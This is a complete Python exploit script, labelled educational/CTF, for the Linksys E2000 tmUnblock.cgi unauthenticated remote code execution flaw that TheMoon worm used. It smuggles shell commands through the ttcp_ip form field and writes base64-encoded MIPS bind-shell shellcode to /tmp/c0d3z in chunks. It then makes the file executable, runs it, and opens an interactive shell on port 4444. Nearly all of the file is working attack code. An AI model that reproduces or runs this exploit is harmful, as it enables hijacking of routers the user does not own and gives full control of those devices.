#!/usr/bin/env python3 """ Python port of the Linksys E2000 unauthenticated RCE exploit. Originally exploited by TheMoon worm (Feb 2013, discovered by Johannes Ullrich). Vulnerable endpoint: tmUnblock.cgi / hndUnblock.cgi For educational/CTF use only. Run against your own devices. """ import socket import base64 import time import sys HOST = "192.168.8.100" PORT = 80 VULN = "tmUnblock.cgi" # hndUnblock.cgi works too # msfpayload linux/mipsle/shell_bind_tcp LPORT=4444 X SHELLCODE = base64.b64decode( "f0VMRgEBAQAAAAAAAAAAAAIACAABAAAAVABAADQAAAAAAAAAAA" "AAADQAIAABAAAAAAAAAAEAAAAAAAAAAABAAAAAQAB7AQAAogIA" "AAcAAAAAEAAA4P+9J/3/DiQnIMABJyjAAf//BihXEAIkDAEBAV" "BzDyT//1Aw7/8OJCdwwAERXA0kBGjNAf/9DiQncMABJWiuAeD/" "ra/k/6Cv6P+gr+z/oK8lIBAC7/8OJCcwwAHg/6UjSRACJAwBAQ" "FQcw8kJSAQAgEBBSROEAIkDAEBAVBzDyQlIBAC//8FKP//BihI" "EAIkDAEBAVBzDyT//1AwJSAQAv3/DyQnKOAB3w8CJAwBAQFQcw" "8kJSAQAgEBBSjfDwIkDAEBAVBzDyQlIBAC//8FKN8PAiQMAQEB" "UHMPJFBzBiT//9AEUHMPJP//BijH/w8kJ3jgASEg7wPw/6Sv9P" "+gr/f/DiQncMABIWDvAyFojgH//6Ct8P+lI6sPAiQMAQEBL2Jp" "bi9zaA==" ) def full_urlencode(s: str) -> str: """Encode every character except & as %XX hex.""" result = "" for ch in s: if ch != '&': result += f"%{ord(ch):02x}" else: result += "&" return result def build_packet(host: str, port: int, vuln: str, payload: str) -> bytes: """Construct the raw HTTP POST exploit packet.""" body = full_urlencode( "submit_button=&" "change_action=&" "submit_type=&" "action=&" "commit=0&" "ttcp_num=2&" "ttcp_size=2&" f"ttcp_ip=-h `{payload}`&" "StartEPI=1" ) auth = base64.b64encode(b"admin:ThisCanBeAnything").decode() packet = ( f"POST /{vuln} HTTP/1.1\r\n" f"Host: {host}\r\n" f"Authorization: Basic {auth}\r\n" f"Content-Type: application/x-www-form-urlencoded\r\n" f"Content-Length: {len(body)}\r\n" f"\r\n" f"{body}" ) return packet.encode() def send_packet(host: str, port: int, packet: bytes) -> bool: """Send a raw TCP packet to the target.""" try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(10) s.connect((host, port)) s.sendall(packet) s.close() return True except Exception: return False def build_payload(host: str, port: int, vuln: str, shellcode: bytes): """Stage shellcode onto /tmp/c0d3z in 20-byte chunks.""" print("\tCleaning up... ", end="", flush=True) pkt = build_packet(host, port, vuln, "rm /tmp/c0d3z") if not send_packet(host, port, pkt): sys.exit("fail") print("done!") for i in range(0, len(shellcode), 20): print(f"\tSending {i}/{len(shellcode)} bytes... ", end="", flush=True) chunk = shellcode[i:i+20] cmd = "echo -en '" for byte in chunk: cmd += f"\\0{oct(byte)[2:]}" cmd += "' >> /tmp/c0d3z" pkt = build_packet(host, port, vuln, cmd) if not send_packet(host, port, pkt): sys.exit("fail") print("sent!") time.sleep(0.1) print("\tConfiguring... ", end="", flush=True) pkt = build_packet(host, port, vuln, "chmod a+rwx /tmp/c0d3z") if not send_packet(host, port, pkt): sys.exit("fail") print("done!") def interactive_shell(sock: socket.socket, host: str): """Simple interactive shell over the bind socket.""" print("Opening shell...\n") while True: try: cmd = input(f"{host}$ ") except EOFError: break if not cmd: continue try: sock.sendall((cmd + ";echo xxxEOFxxx\n").encode()) data = b"" while b"xxxEOFxxx" not in data: chunk = sock.recv(1) if not chunk: break data += chunk output = data.replace(b"xxxEOFxxx", b"").decode(errors="replace") print(output, end="") except Exception as e: print(f"Shell error: {e}") break def main(): print(f"Testing connection to {HOST}:{PORT}... ", end="", flush=True) try: s = socket.create_connection((HOST, PORT), timeout=30) s.close() print("connected!") except Exception: sys.exit("fail") print("Sending payload...") build_payload(HOST, PORT, VULN, SHELLCODE) time.sleep(3) print("Executing payload... ", end="", flush=True) pkt = build_packet(HOST, PORT, VULN, "/tmp/c0d3z") if not send_packet(HOST, PORT, pkt): sys.exit("fail") print("done!") time.sleep(3) print("Attempting to get a shell... ", end="", flush=True) try: shell_sock = socket.create_connection((HOST, 4444), timeout=30) print("connected!") except Exception: sys.exit("fail") interactive_shell(shell_sock, HOST) shell_sock.close() if __name__ == "__main__": main()